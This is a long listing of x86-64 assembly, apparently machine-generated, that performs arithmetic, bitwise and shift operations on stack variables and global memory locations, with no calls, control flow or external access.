mov rax, qword [rsp + 0x7ab0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x7868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b2c], eax
mov rax, qword [rsp + 0x6af0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a0ca], al
movzx eax, word [rsp + 0xb00]
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0x7a20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7260]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5870]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6cb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d10]
movzx eax, word [rax]
mov word [rsp + 0xda4], ax
mov rax, qword [rsp + 0x74e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ea8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c00], eax
lea rax, [0x14017a058]
mov qword [rsp + 0x7ab8], rax
mov rax, qword [rsp + 0x56b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5230]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x71d0], rax
mov rax, qword [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x54d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f50], eax
movzx eax, byte [rsp + 0x13d]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ef6], al
mov rax, qword [rsp + 0x6100]
movzx eax, word [rax]
mov word [rsp + 0xda8], ax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [0x14017a428]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5350]
mov byte [rcx], al
mov rax, qword [rsp + 0x5868]
movzx eax, word [rax]
mov word [rsp + 0xdac], ax
movzx eax, byte [rsp + 0x103]
movzx ecx, byte [rsp + 0xb8]
add eax, ecx
mov rcx, qword [rsp + 0x5248]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a48]
mov dword [rsp + 0x2f64], eax
mov rax, qword [rsp + 0x5df0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x54d8]
mov qword [rsp + 0x7ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ac0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5548]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0x6f50]
mov rax, qword [rax]
mov qword [rsp + 0x7ac8], rax
mov rax, qword [0x14017a490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
or eax, ecx
mov byte [0x14017a050], al
movsx eax, word [rsp + 0xc80]
mov rcx, qword [rsp + 0x6110]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5db8]
mov word [rcx], ax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x7ad0], rax
movzx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x13e], al
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x6bc8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov word [rcx], ax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x7ad8], rax
mov eax, dword [rsp + 0x2ce8]
mov ecx, dword [rsp + 0x2b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a74], eax
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x7ae0], rax
mov rax, qword [rsp + 0x78a8]
mov rcx, qword [rsp + 0x53b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6010], rax
lea rax, [rsp + 0xb14]
mov qword [0x14017a668], rax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0x9c]
sub eax, ecx
mov byte [rsp + 0xc9], al
lea rax, [rsp + 0xa34]
mov qword [rsp + 0x7ae8], rax
movsx eax, byte [0x14017a0cc]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x66], al
lea rax, [rsp + 0xb5c]
mov qword [rsp + 0x7af0], rax
mov rax, qword [rsp + 0x6060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c34], eax
mov eax, dword [rsp + 0x2dfc]
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6958]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6448]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f28]
mov rcx, qword [rsp + 0x7578]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7790], rax
mov rax, qword [rsp + 0x50e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa88]
or eax, ecx
mov word [0x14017a540], ax
lea rax, [rsp + 0x69]
mov qword [rsp + 0x7af8], rax
mov rax, qword [rsp + 0x6718]
movsx eax, word [rax]
mov rcx, qword [0x14017a420]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7318]
mov word [rcx], ax
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x7b00], rax
movzx eax, byte [rsp + 0x11b]
movzx ecx, byte [rsp + 0xf0]
xor eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [0x140178e60]
movzx ecx, al
mov rax, qword [rsp + 0x65a0]
shr rax, cl
mov rcx, qword [rsp + 0x5ee0]
mov qword [rcx], rax
lea rax, [rsp + 0x2b68]
mov qword [rsp + 0x7b08], rax
mov rax, qword [rsp + 0x65e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2de0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x6618]
mov qword [rsp + 0x7b10], rax
movzx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x78c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9fc], ax
lea rax, [rsp + 0x94c]
mov qword [0x14017a670], rax
mov rax, qword [rsp + 0x5bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e8a]
sub eax, ecx
mov rcx, qword [rsp + 0x5818]
mov byte [rcx], al
lea rax, [rsp + 0x138]
mov qword [rsp + 0x7b18], rax
movzx eax, word [rsp + 0xa90]
movzx ecx, word [rsp + 0x994]
sub eax, ecx
mov rcx, qword [rsp + 0x7278]
mov word [rcx], ax
lea rax, [rsp + 0x2f54]
mov qword [rsp + 0x7b20], rax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x5848]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5950], rax
mov rax, qword [rsp + 0x7a98]
mov rcx, qword [rsp + 0x6690]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2dac], eax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov qword [rsp + 0x7b28], rax
movsx eax, word [rsp + 0xbe8]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x76d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ef7], al
mov rax, qword [rsp + 0x7668]
movzx eax, byte [rax]
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x6ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
sub eax, ecx
mov byte [rsp + 0x11f], al
lea rax, [rsp + 0x55]
mov qword [rsp + 0x7b30], rax
mov rax, qword [rsp + 0x5cd0]
mov rcx, qword [rsp + 0x6cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2bb4], eax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ef4], eax
mov rax, qword [rsp + 0x6d18]
mov qword [rsp + 0x7b38], rax
mov rax, qword [rsp + 0x6db8]
mov rcx, qword [rsp + 0x5708]
mov qword [rsp + 0x7b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b40]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6b80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cb0]
movzx eax, word [rax]
mov word [rsp + 0xdb0], ax
mov rax, qword [rsp + 0x6eb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
xor eax, ecx
mov rcx, qword [0x14017a438]
mov byte [rcx], al
mov rax, qword [rsp + 0x63e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
shl eax, cl
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x900]
sub eax, ecx
mov word [rsp + 0x96c], ax
lea rax, [rsp + 0x9b4]
mov qword [rsp + 0x7b48], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4fe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6808]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2cdc]
mov dword [rsp + 0x2f6c], eax
mov rax, qword [rsp + 0x5838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6140]
mov ecx, dword [rsp + 0x2f40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6120]
mov dword [rcx], eax
lea rax, [rsp + 0x928]
mov qword [rsp + 0x7b50], rax
mov rax, qword [rsp + 0x7838]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc00]
add eax, ecx
mov rcx, qword [0x14017a108]
mov word [rcx], ax
mov rax, qword [rsp + 0x57a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc1]
sub eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x76e8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b6], al
mov rax, qword [rsp + 0x76c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf0]
sub eax, ecx
mov word [rsp + 0x9b4], ax
lea rax, [0x14017a5b4]
mov qword [rsp + 0x7b58], rax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6240]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6cc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
mov dword [rsp + 0x2f70], eax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x5490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d94], eax
mov rax, qword [rsp + 0x6c88]
movzx eax, byte [rax]
mov byte [0x14017a196], al
mov rax, qword [rsp + 0x7778]
movzx eax, word [rax]
mov word [rsp + 0xdb4], ax
movsx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x6130]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
movzx eax, word [rsp + 0xd3c]
movzx ecx, word [rsp + 0xb88]
xor eax, ecx
mov word [rsp + 0xa08], ax
lea rax, [0x14017a0fc]
mov qword [rsp + 0x7b60], rax
mov rax, qword [rsp + 0x5dd0]
mov rcx, qword [rsp + 0x7100]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0x7b68], rax
mov eax, dword [0x140178e6c]
mov rcx, qword [rsp + 0x6d50]
mov qword [rsp + 0x7b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x57e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7730]
mov rcx, qword [rsp + 0x54b0]
mov qword [rsp + 0x7b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b78]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
lea rax, [rsp + 0xa88]
mov qword [0x14017a678], rax
movzx eax, word [rsp + 0x954]
mov word [rsp + 0xdb8], ax
mov rax, qword [0x14017a178]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
and eax, ecx
mov rcx, qword [rsp + 0x63e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c50]
movzx eax, word [rax]
mov word [rsp + 0xdbc], ax
movsx eax, byte [rsp + 0x7e]
movsx ecx, byte [0x140178ea6]
sub eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6118]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [rsp + 0x2e68]
mov qword [rsp + 0x7b80], rax
mov rax, qword [rsp + 0x5ef0]
mov ecx, dword [0x14017a064]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2dbc], eax
mov rax, qword [rsp + 0x5f68]
mov rax, qword [rax]
mov qword [rsp + 0x7b88], rax
mov rax, qword [rsp + 0x5c68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
add eax, ecx
mov word [0x140178f20], ax
movsx eax, byte [rsp + 0x126]
movsx ecx, byte [rsp + 0x93]
sub eax, ecx
mov byte [rsp + 0xf2], al
lea rax, [rsp + 0x9c8]
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x74c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
add eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b0]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a196]
add eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x5a10]
mov eax, dword [rax]
mov dword [rsp + 0x2f74], eax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6758], rax
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x7b98], rax
mov rax, qword [rsp + 0x7548]
mov rcx, qword [rsp + 0x6988]
mov qword [rsp + 0x7ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ba0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6938]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ec0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a0d0]
mov word [rcx], ax
movsx eax, word [0x14017a5b0]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x63d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b7], al
movsx eax, byte [rsp + 0x193]
movsx ecx, byte [rsp + 0x137]
xor eax, ecx
mov byte [rsp + 0xb7], al
movzx eax, word [rsp + 0xa30]
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x75a0]
mov rcx, qword [rsp + 0x5020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x78d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c88], eax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x7ba8], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x6620]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x66f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x168]
add eax, ecx
mov byte [0x140178efa], al
mov rax, qword [0x14017a4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1b8], al
movzx eax, word [rsp + 0xbc0]
movzx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [rsp + 0xd80], ax
movzx eax, byte [rsp + 0x1b7]
movzx ecx, byte [rsp + 0x154]
and eax, ecx
mov byte [rsp + 0x1b1], al
lea rax, [rsp + 0x9d8]
mov qword [rsp + 0x7bb0], rax
mov rax, qword [rsp + 0x6388]
mov ecx, dword [rsp + 0x2d84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov rax, qword [rax]
mov qword [rsp + 0x7bb8], rax
mov rax, qword [rsp + 0x6f50]
mov rcx, qword [rsp + 0x6250]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b58]
mov eax, dword [rax]
mov dword [rsp + 0x2f78], eax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x77c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f94], ax
movsx eax, byte [0x140178e5d]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0xa8], al
movzx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x5b10]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0x1b9], al
mov rax, qword [0x14017a2a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xad0], ax
lea rax, [rsp + 0x2e10]
mov qword [rsp + 0x7bc0], rax
mov rax, qword [rsp + 0x7920]
mov rcx, qword [rsp + 0x5618]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae8]
mov qword [rsp + 0x7bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7bc8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6de8], rax
mov rax, qword [rsp + 0x6bb8]
mov qword [rsp + 0x7bd0], rax
movsx eax, word [rsp + 0x9e4]
movsx ecx, word [rsp + 0x9f0]
and eax, ecx
mov word [0x14017a1a0], ax
movzx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov byte [rcx], al
lea rax, [rsp + 0xca]
mov qword [rsp + 0x7bd8], rax
movzx eax, word [rsp + 0x8bc]
mov rcx, qword [rsp + 0x7798]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
movzx eax, byte [rsp + 0x190]
movzx ecx, byte [rsp + 0x19e]
add eax, ecx
mov byte [rsp + 0x182], al
mov rax, qword [rsp + 0x7908]
mov qword [rsp + 0x7be0], rax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2bdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d04]
mov dword [rsp + 0x2f7c], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b88], rax
movzx eax, byte [0x140178e9b]
mov byte [rsp + 0x1ba], al
movsx eax, word [rsp + 0xa34]
movsx ecx, word [rsp + 0xd98]
and eax, ecx
mov word [0x140178ea0], ax
movzx eax, word [rsp + 0x8d8]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov rcx, qword [rsp + 0x60b0]
mov word [rcx], ax
mov rax, qword [0x14017a618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x6660]
movzx eax, byte [rax]
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x66a8]
mov ecx, dword [rsp + 0x2cb4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b50], eax
lea rax, [rsp + 0x6968]
mov qword [rsp + 0x7be8], rax
mov rax, qword [rsp + 0x5a90]
mov rcx, qword [rsp + 0x6a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x73f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7800]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5a40]
sar rax, cl
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
movzx eax, byte [0x140178e73]
mov byte [rsp + 0x1bc], al
movzx eax, word [rsp + 0x9b8]
mov word [0x14017a680], ax
mov rax, qword [rsp + 0x7620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7568]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6100]
mov word [rcx], ax
movzx eax, word [0x140178f94]
mov word [rsp + 0xdc4], ax
movsx eax, byte [rsp + 0x19b]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0x6e50]
mov rcx, qword [rsp + 0x78b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2be0], eax
lea rax, [rsp + 0x5c48]
mov qword [rsp + 0x7bf0], rax
mov rax, qword [rsp + 0x6588]
mov rcx, qword [rsp + 0x6540]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6708]
mov qword [rcx], rax
lea rax, [rsp + 0x2f24]
mov qword [rsp + 0x7bf8], rax
mov rax, qword [rsp + 0x7818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7b00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0xb6]
add eax, ecx
mov byte [0x14017a054], al
mov rax, qword [rsp + 0x5318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0x66], al
movzx eax, word [0x140178f74]
mov word [rsp + 0xdc8], ax
movzx eax, word [rsp + 0x8c4]
movzx ecx, word [rsp + 0xac0]
sub eax, ecx
mov rcx, qword [rsp + 0x7960]
mov word [rcx], ax
lea rax, [rsp + 0x2aac]
mov qword [rsp + 0x7c00], rax
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7328]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x2e4c]
mov qword [rsp + 0x7c08], rax
mov rax, qword [rsp + 0x7700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6df8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5560], rax
movsx eax, word [0x14017a388]
mov rcx, qword [rsp + 0x7340]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
movzx eax, word [rsp + 0xab4]
movzx ecx, word [rsp + 0x86c]
xor eax, ecx
mov word [0x140178f98], ax
lea rax, [rsp + 0x124]
mov qword [rsp + 0x7c10], rax
mov rax, qword [rsp + 0x5688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xea]
shl eax, cl
mov rcx, qword [rsp + 0x6a48]
mov byte [rcx], al
lea rax, [rsp + 0xd2]
mov qword [rsp + 0x7c18], rax
movzx eax, word [rsp + 0xa60]
movzx ecx, word [rsp + 0xa70]
or eax, ecx
mov rcx, qword [rsp + 0x5660]
mov word [rcx], ax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28cc]
sar eax, cl
mov dword [rsp + 0x2a90], eax
mov rax, qword [rsp + 0x55f0]
mov qword [rsp + 0x7c20], rax
mov rax, qword [rsp + 0x5860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7708], rax
lea rax, [rsp + 0x2ed8]
mov qword [rsp + 0x7c28], rax
lea rax, [rsp + 0xc9c]
mov qword [0x14017a688], rax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov rcx, qword [rsp + 0x5058]
mov byte [rcx], al
movsx eax, byte [0x140178ea6]
movsx ecx, byte [rsp + 0x61]
add eax, ecx
mov rcx, qword [rsp + 0x76d0]
mov byte [rcx], al
lea rax, [rsp + 0x108]
mov qword [rsp + 0x7c30], rax
mov rax, qword [rsp + 0x7210]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce0]
sub eax, ecx
mov rcx, qword [rsp + 0x5968]
mov word [rcx], ax
mov rax, qword [rsp + 0x6178]
mov rax, qword [rax]
mov qword [rsp + 0x7c38], rax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2f7c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f80]
mov eax, dword [rax]
mov dword [rsp + 0x2f80], eax
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x6410]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e20], rax
movzx eax, word [rsp + 0x928]
mov rcx, qword [rsp + 0x6720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f38], ax
movsx eax, word [rsp + 0xbd4]
mov rcx, qword [rsp + 0x78e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov word [rcx], ax
movzx eax, byte [0x140178edb]
mov byte [rsp + 0x1bd], al
movsx eax, byte [rsp + 0x148]
mov rcx, qword [rsp + 0x6130]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov byte [rcx], al
lea rax, [rsp + 0xdf]
mov qword [rsp + 0x7c40], rax
mov rax, qword [rsp + 0x7060]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6968], rax
mov eax, dword [rsp + 0x2e48]
mov rcx, qword [rsp + 0x71f8]
mov qword [rsp + 0x7c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c48]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2e94], eax
lea rax, [rsp + 0x7520]
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c48], eax
movsx eax, byte [rsp + 0xfc]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [0x140178e9e], al
movzx eax, word [rsp + 0xab0]
mov word [rsp + 0xdcc], ax
movzx eax, word [0x140178f28]
mov rcx, qword [rsp + 0x5400]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
add eax, ecx
mov rcx, qword [rsp + 0x5fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x79e8]
movzx eax, byte [rax]
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0x5a90]
mov rcx, qword [rsp + 0x6040]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x6d30]
mov qword [rsp + 0x7c58], rax
mov rax, qword [rsp + 0x7038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c88], eax
mov rax, qword [rsp + 0x5d88]
mov rcx, qword [rsp + 0x5878]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ee0]
mov qword [rcx], rax
lea rax, [rsp + 0xc84]
mov qword [0x14017a690], rax
movzx eax, word [rsp + 0x934]
mov word [rsp + 0xdd0], ax
movzx eax, byte [0x140178e5f]
movzx ecx, byte [rsp + 0x125]
sub eax, ecx
mov byte [rsp + 0x1a8], al
